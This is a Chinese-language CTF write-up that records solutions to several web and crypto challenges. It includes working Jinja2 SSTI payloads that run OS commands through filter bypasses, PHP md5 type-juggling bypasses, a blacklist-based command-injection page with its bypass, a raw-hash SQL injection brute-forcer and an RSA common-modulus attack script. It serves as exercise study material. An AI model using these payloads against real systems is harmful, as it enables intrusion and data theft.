Web
web1
考flask，ssti，加/2后有会显2，测试过滤了下划线，点，当时没有做出来。这里给出网上收集的一些payload，记录一下。具体可以看这里 传送门
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[30]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]['\x5f\x5fimport\x5f\x5f']('os')["popen"]('cat /flag*')['read']()}} // \x5f是_
{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']['x8'])(request['args']['x9'])}}?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat /flag').read()web2
是md5的一些绕过，昨天下午在上课，忘记复制源码，这题和2019掘安杯web7差不多，源码差不多是这样
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}
if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];
if (!(ctype_alnum($a)) || (strlen($a) > 5) || !(ctype_alnum($b)) || (strlen($b) > 6)) {
echo "a OR b fail!";
die();
}
if ((strlen($m) > 1) || (strlen($n) > 1)) {
echo "m OR n fail";
die();
}
$val8 = md5($a);
$val9 = strtr(md5($b), $m, $n);
echo PHP_EOL;
echo "<p>val8 : $val8</p>";
echo PHP_EOL;
echo "<p>val9 : $val9</p>";
echo PHP_EOL;
if (($val8 == $val9) && !($a === $b) && (strlen($b) === 5)) {
echo "nice,good job,give you flag:";
echo file_get_contents('./flag.php');
}str1,str2,str3,str4都可以用数组绕过，str5，str6，str7是转换类型的强判断，网上有很多类似的文章解决方法，可以看这篇文章 传送门，这样就可以构造出str5，str6，str7。后面这一段很明显是要用0e的比较方法，限制条件是a必须是字母或数字且a的长度不大于5，b必须为字母或数字且b的长度为5，md5($b)可以改变1个字符，脚本如下。
import hashlib
dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest()
for a in dic:
for b in dic:
for c in dic:
for d in dic:
for e in dic:
f=a + b + c + d + e
T = md5(f)
if((T)[0:2]=='0e' and (T)[3:].isdigit()):
print(f)
brea
//改变一个字符可以随便放宽一个字符的要求即可web3
命令执行，这道我没看到就已经没了，被别人删题了，看了一下别人发的源码，很简单，很多方法绕过
<html>
<body>
<h3>This is the command practice</h3>
<form action="index.php" method="post">
<input value="" name='cmd'>
<input type="submit" value="Submit" />
</form>
<?php
$cmd=$_POST['cmd'];
$blacklist="cat|\/|cd|flag|curl|{|\(|'|\"|echo|\\\\|&|grep|base64";
$arr=explode('|',$blacklist);
foreach ($arr as $key => $value) {
#var_dump($value);
if (preg_match("/$value/i", $cmd)) {
exit('hacker~~~');
}
}
system($cmd);
?>
</html>直接cmd=more *就可以了。
web4
代码如下，构造注入，原题来自，hash(“whirlpool”,$ps, true);true表示是用原始二进制格式的字符串，所以这里存在注入，若原始二进制格式的字符串含有’=’就可以返回true，登录成功。写题时只想到了’or’，没有找到答案，但是用’=’很快就找到了答案，爆破php脚本如下。
$ps = mysql_real_escape_string($ps);
$ps = hash("whirlpool",$ps, true);
$result = mysql_query("select * from users where user_id='$id' and user_ps='$ps'");<?php
$pass=1;
for ($i=1; $i<=1000000; $i++) {
$pass++;
$pw = hash("whirlpool", $pass, true);
if (strpos($pw, '\'=\'') !== false) {
var_dump($pass);
var_dump($pw);
}
}Crypto
crypto1
考古典密码，凯撒密码，摩斯密码，栅栏密码
crypto2
考rsa，共模攻击，脚本如下
from Crypto.Util.number import *
import gmpy2
n = 21550279102644053137401794357450944302610731390301294678793250727396089358072700658571260795910112265309568014296122288384516447895827201111531054386530016432904989927216701507587366446802666848322853781729905492728655474832512381505627940555854308364578108265962388044363133246414753768229564846275154311898383993892293297122428661960946207950994560898964054913194462187242818633295970027741085201122155726130759045957757833942616544066055081600792366411691979350744894938994915328874600229684477533220240489600171746943849179803693122081888324258987779131223150589953248929679931142134208151043000793272520874205933
e1 = 65537
e2 = 11187289
c1 = 3398498381912395819190972489172462865619978412426461006637853132394421358554444085509204376417687407497725837275868696481008111895766215578504776574832032556271718345687763315140723387608016365200919607751172500433727679269003098314988424638473027123820847847826679169000817669427223462669128173658466684135284118199815059085013479646863344355311315928713888347485004116168388822942797985291207722712351376891776564431593839662958249777540851019964959285093222467104765037231393043482615879794268339523066822738215251088897330388858109680412562153811860413533184870172160079371279534423386236128033224501238509297353
c2 = 3466733921305804638105947202761163747472618602445995245253771384553216569474005211746398256742813639292824489920799418551206486872148557599625985549276697777903434273072767901043963396047653458242735767809413051298636887840641872939342025101757793615068691040228073377366562557622977332819376942596081135968249279010542277871138668977160241877260538203101507006391433015105607006204397243716334344883925947719719479074061998068934050946968531874465924912747079003982022188875112147185558223515367430238618463189740762128953957802291125793882636020335117593003197811477506533564676975831899876919568948425610130348710
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
c1 = gmpy2.invert(c1, n)
if t < 0:
t = -t
c2 = gmpy2.invert(c2, n)
m = gmpy2.powmod(c1, s, n) * gmpy2.powmod(c2, t, n) % n
print(long_to_bytes(m))
